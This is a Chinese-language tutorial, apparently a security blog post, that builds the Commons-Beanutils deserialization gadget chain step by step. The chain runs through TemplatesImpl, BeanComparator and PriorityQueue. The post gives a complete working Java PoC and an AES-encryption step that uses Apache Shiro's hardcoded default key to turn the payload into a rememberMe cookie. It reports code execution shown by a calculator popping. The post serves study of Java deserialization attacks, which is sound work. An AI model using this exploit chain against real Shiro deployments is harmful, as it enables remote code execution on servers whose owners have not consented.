一、前言 在前面我们分析了shiro打CC依赖,但是shiro默认是没有CommonCollections依赖的,那么如果没有CC依赖我们想要进行利用,就有使用shiro默认的依赖去打。
那我们这里可以先看一下shiro默认的依赖有那些:
我们可以看到在shiro默认的包中有一个commons-beanutils包。这也就是我们在无CC依赖的情况下可以利用的包。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。具体的可以看这篇文章https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
二、JavaBean 我们这里简单的来学习一下什么是javabean,javabean其实就是一个概念
我们这里通过一个小demo来看一下:
person类:
1 2 3 4 5 6 7 8 9 10 public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } }
test类:
1 2 3 4 5 6 7 8 9 public class test { public static void main(String[] args) { Person person=new Person(); person.setAge(12); person.setName("hacker"); System.out.println(person.getAge()); System.out.println(person.getName()); } }
运行结果:
在java中我们经常会使用set和get方法去设置和获取属性值
那么这里Person就被称为javabean
如果读写方法符合以下这种命名规范:
1 2 3 4 // 读方法: public Type getXyz() // 写方法: public void setXyz(Type value)
这种class就被称为javabean
JavaBean是一种用于构建可重用组件的Java类的规范。它不是Java语言的某种特定类型,而是一种编程规范,用于创建可移植、可重用的Java对象。JavaBean通常是无状态的、可序列化的、具有无参构造函数的类,它们通过提供getter和setter方法来封装对象的属性。
然后commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,而不用在通过函数去调用。
1 2 3 4 5 6 7 8 9 public class test { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Person person=new Person(); person.setName("hacker"); person.setAge(12); System.out.println(PropertyUtils.getProperty(person, "name")); System.out.println(PropertyUtils.getProperty(person, "age")); } }
运行结果:
我们这里打断点调一下,看他是怎么获取的,底层是如何实现的
在上面我们是通过PropertyUtils类的getProperty方法去获取get方法的,那我们这里跟进这个方法看一下
ropertyUtilsBean.getInstance()
:这部分获取了PropertyUtilsBean
的实例,PropertyUtilsBean
是Apache Commons BeanUtils库中用于访问JavaBean属性的工具类。
然后使用PropertyUtilsBean
的getProperty
方法来获取给定JavaBean对象(bean
)的指定属性(name
)的值。
最终返回从JavaBean对象中获取的属性值,这个值被封装为Object
类型。
我们继续跟进这个getProperty
方法
这里传入两个参数一个是我们的javabean对象,一个是要获取的属性名
然后调用getNestedProperty()
方法进行处理
我们这里跟进去看一下
首先就判断javabean对象和要获取的属性名是否为空
中间部分就是通过一个 循环使用了一些分隔符来处理复杂的属性名,例如嵌套属性。
中间这部分我们就不看了,直接看核心获取属性值的这部分代码
这个地方也就是通过判断属性名的类型以不同方式获取 JavaBean 对象的属性值
首先会先判断我们的javabean对象是不是一个map类型的
是map类型则会调用bean = ((Map) bean).get(name);
通过这个get方法从map中获取属性值
不是则继续判断是不是indexOfMAPPED_DELIM
和indexOfINDEXED_DELIM
的值是否大于0
其实上面还要两行代码就是这个两个属性的值的获取
1 2 indexOfINDEXED_DELIM = name.indexOf(PropertyUtils.INDEXED_DELIM); indexOfMAPPED_DELIM = name.indexOf(PropertyUtils.MAPPED_DELIM);
两行代码的目的是在属性名字符串 name
中查找索引属性分隔符和映射属性分隔符的位置。
但是很明显我们传入进来的没有索引属性和映射属性
所以这里的值都是-1
为什么是-1这是我们在上面初始化的时候定义的,如果查找到有索引属性和映射属性就将属性位置赋值给变量
那这里这两个if的作用就很明显了判断是否是索引属性或者映射属性,是的话调用相应的方法去处理
,不是则继续向下走。
我们这里就传入了一个name属性,很明显都不符合上面的要求,那么就会进入到else里面
我们这里会调用getSimpleProperty
方法去处理我们的属性,获取属性值
我们继续跟进到这个方法
这个方法的前半部分还是在判读bean对象和属性名是否存在,然后后面就判读是否包含特定的属性分隔符,也就是我们在前面说的索引属性或者映射属性。如果包含,则抛出相应的异常。这是一种验证机制,用于确保属性名不包含嵌套属性、索引属性或映射属性的分隔符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PropertyDescriptor descriptor =getPropertyDescriptor(bean, name); if (descriptor == null) { throw new NoSuchMethodException("Unknown property '" + name + "'"); } Method readMethod = getReadMethod(descriptor); if (readMethod == null) { throw new NoSuchMethodException("Property '" + name + "' has no getter method"); } // Call the property getter and return the value Object value = invokeMethod(readMethod, bean, new Object[0]); return (value); }
然后真正的处理方法是getPropertyDescriptor。
PropertyDescriptor
是Java Beans API中的一个类,它包含了有关属性的信息,包括属性的getter和setter方法。
getPropertyDescriptor
方法的目的是获取与属性名匹配的属性描述符。如果找不到匹配的属性描述符,descriptor
将为 null
。然后经过if判读将抛出异常。
如果获取到了属性描述符,则会通过 getReadMethod方法获取相应的getter方法。
1 Method readMethod = getReadMethod(descriptor);
如果找到了属性描述符,代码会调用 getReadMethod
方法来获取属性的getter方法。
getReadMethod
方法是用于从属性描述符中获取getter方法的工具方法。如果找不到getter方法,readMethod
将为 null
。抛出异常
我们传入的是name属性,通过调试信息可以看到这里获取到了属性描述符,也根据属性描述符获取到了name的get方法也就是getName()方法。
然后就是一个反射调用我们获取到的get方法
我们跟进去可以看到这里就是通过反射调用getName()方法去获取到我们的属性值,然后返回。
可以看到这里就已经获取到属性值返回了。
那么分析到这里我们对PropertyUtils类的这个getProperty方法是如何调用目标类的get方法去获取属性值的流程有了了解。
那么我们通过这个getProperty方法就可以执行任意类的getter方法,那么我们如果可以找到一哥getter方法是存在危险利用的或者其能够执行任意代码,那我们就可以进行进一步的利用。
三、构造CB链 在我们前面分析CC3动态类加载恶意字节码的时候用到了TemplatesImpl类,我们是通过TemplatesImpl类newTransformer()方法去调用getTransletInstance()方法调用defineTransletClasses()方法进行类加载字节码进行命令执行。
在CC3中我们是通过invokertransform类的transform方法去调用这个newTransform方法
但是在TemplatesImpl类也存在一个getOutputProperties方法可以去调用newTransfomr方法:
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
在getOutputProperties()里是调用了newTransformer()方法。
而且我们这里观察这个getOutputProperties()是符合javabean的格式的一个方法。
那么我们通过getProperty方法去调用getOutputProperties()方法也是可以调用成功,那么就可以调用newtransform进而调用动态类加载恶意字节码的后续利用链进行代码执行。那么到这里我们就找到了一个在CB下面的代码执行点。
那我们这里就只需要通过getProperty方法去获取OutputProperties属性值就可以了。
1 PropertyUtils.getProperty(templates,"outputProperties");
那我们这里就可以调用到newTranform,后续的就还是CC3中动态加载字节码那一套了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils; import javax.xml.transform.Templates; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; public class test { public static void main(String[] args) throws Exception { Person person=new Person(); person.setName("hacker"); person.setAge(12); Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); PropertyUtils.getProperty(templates,"outputProperties"); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field filed = obj.getClass().getDeclaredField(fieldName); filed.setAccessible(true); filed.set(obj, value); } }
运行测试:
可以看到我们这里弹出计算器的命令执行成功了,说明我们后续的利用链成功调用了。
那么我们要构造的是一个反序列化链,剩下就还是向上找哪里调用了getProperty方法,最终找到一个readObject方法。那这还是我们前面找CC链那一套。那我们这里就是向上找getProperty方法的调用:
可以看到在cb库中可以使用的方法不是很多
我们这里使用的是commons.beanutils库中的BeanComparator类中的compare方法
1 2 Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property );
我们可以看到这里调用了getProperty方法,这里应该也是要通过getProperty方法去获取属性值的,o1和o2都是compare传递进来都是可控的。
这个property也是可控的。那么这个compare就是可以利用的。
那么我下面就是要找compare的调用.
关于compare方法的调用,我们其实可以想到我们在CC4和CC2中用到过compare方法
在CC4中我们是通过compare方法去触发chainTransformer类的transform方法。进行去触发后续的利用链。
在CC4和CC2中我们是通过priorityQueue这个类的 siftDownUsingComparator方法去触发的compare方法。
在priorityQueue的siftDownUsingComparator方法中是通过comparator去触发的compare方法
而comparator是priorityQueue的构造方法传递的,是可控的,那么我们就可以通过这里去触发compare方法进而触发getProperty方法去触发后续利用链。
那么到这里就和我们前面分析CC4串起来了。我们可以使用CC4的中的入口点去触发后续利用链。
我们这里先回顾一些CC4中的入口点。
我们是通过priorityQueue类的readObject方法去调用heapify()方法
然后去调用siftDown方法
调用siftDownUsingComparator方法。
最终调用到compare方法。
那么到这里我们CB利用链就很清晰了。
那我们这里就可以构造我们的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class test { public static void main(String[] args) throws Exception { Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator("outputProperties",null); PriorityQueue priorityQueue = new PriorityQueue(beanComparator); priorityQueue.add(templates); priorityQueue.add("2222"); serializable(priorityQueue); unserializable() } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field filed = obj.getClass().getDeclaredField(fieldName); filed.setAccessible(true); filed.set(obj, value); } public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
运行:
这里抛出了一个异常。
在第二个add处打一个断点
跟进去调试一下:
正常调用add添加数据
然后调用到siftup方法然后调用siftUpUsingComparator(k, x);
到这里就是调用compare跟进后续利用链
后面就是调用getProperty()方法触发getoutputProperties方法,后面的通过getProperty()方法去触发到getoutputProperties方法的过程不在跟进分析了,直接跳进到抛出异常的地方
这个地方就很熟悉了。我们在上面分析getProperty()方法获取属性值的流程中,最终是到了PropertyUtilsBean类的getSimpleProperty()方法里面。
在这个方法里面通过PropertyDescriptor descriptor =getPropertyDescriptor(bean, name);
去获取到属性标识符,然后通过属性标识符去获取到属性的get方法,最终通过反射调用获取属性值。
但是在调试中我们可以看到这个descriptor的值是为null的
这说明我们并没有获取到属性表示符,导致抛出了异常。
我们这里可以跟进去到这个getPropertyDescriptor
里面看一下
1 2 3 4 5 6 7 8 9 PropertyDescriptor[] descriptors = getPropertyDescriptors(bean); if (descriptors != null) { for (int i = 0; i < descriptors.length; i++) { if (name.equals(descriptors[i].getName())) { return (descriptors[i]); } } }
这里获取属性表示符,就是通过 getPropertyDescriptors(bean);获取与给定 JavaBean 对象相关的属性描述符的数组。然后通过循环遍历与目标属性进行比对,如果匹配则会返回,不匹配继续循环。
那么这里抛出的异常的原因就是目标属性名与获取到与javabean对象相关的属性描述符的数组没有一个匹配的。
至于为什么匹配不成功
我们这里的javabean就是我们的传入的222,但是我们要找的属性名是outputProperties,他的get方法是在TemplatesImpl();里面的。那我们在222里面去找他的属性标识符那肯定是找不到的,因为222压根就不是一个类。
当然了,这里解决也很好解决,直接把222改成TemplatesImpl();就行了
那我们这里可以来尝试一些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class test { public static void main(String[] args) throws Exception { Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator("outputProperties",null); PriorityQueue priorityQueue = new PriorityQueue(beanComparator); priorityQueue.add(templates); priorityQueue.add(templates); serializable(priorityQueue); //unserializable(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field filed = obj.getClass().getDeclaredField(fieldName); filed.setAccessible(true); filed.set(obj, value); } public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
可以看到确实弹出了计算器,但是我们这里并没有进行反序列化,但却弹出来了计算器
这里和前面分析CC4的没有反序列化就弹出来了计算器的原因是一样的,我们这里add添加了templates
这里我们在CC4中已经说过了,添加两个数据就会导致这个循环条件成立,从而导致调用了后续利用链
但是我们这里不改就会导致抛出异常,无法调用后续利用链
我们这里可以想到我们在CC4中用的是TransformingComparator的compare方法去触发的后续利用链,那我们这里可以先让PriorityQueue类的comparator属性赋值为TransformingComparator,然后再反序列化前再改回来。
当然这里会有一个疑问,我们这里打的不是无CC依赖吗,为什么还使用CC依赖里面的类。其实这里无所谓的,我们这里只是为了过了这个异常,当我们这里过了这个异常后吗,再修改回来就行,虽然目标服务器可能没有这个cc依赖,但是我们本地有,而且我们再反序列化前就把他改成正确的类了,不影响再服务器上面的正常执行。
最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class Beantest { public static void main(String[] args) throws Exception{ Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); BeanComparator beanComparator = new BeanComparator("outputProperties",null); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add("2222"); Class<PriorityQueue> cl = PriorityQueue.class; Field comparatorFiled = cl.getDeclaredField("comparator"); comparatorFiled.setAccessible(true); comparatorFiled.set(priorityQueue,beanComparator); serializable(priorityQueue); unserializable(); } public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field filed = obj.getClass().getDeclaredField(fieldName); filed.setAccessible(true); filed.set(obj, value); } }
运行测试:
可以看到本地弹出计算器成功。
四、shiro打CB依赖 我们这里尝试去打shiro
还是先aes加密编码:
1 2 3 4 5 6 7 8 9 10 11 12 public class test{ public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("sercb1.bin")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
替换
可以看到成功执行了。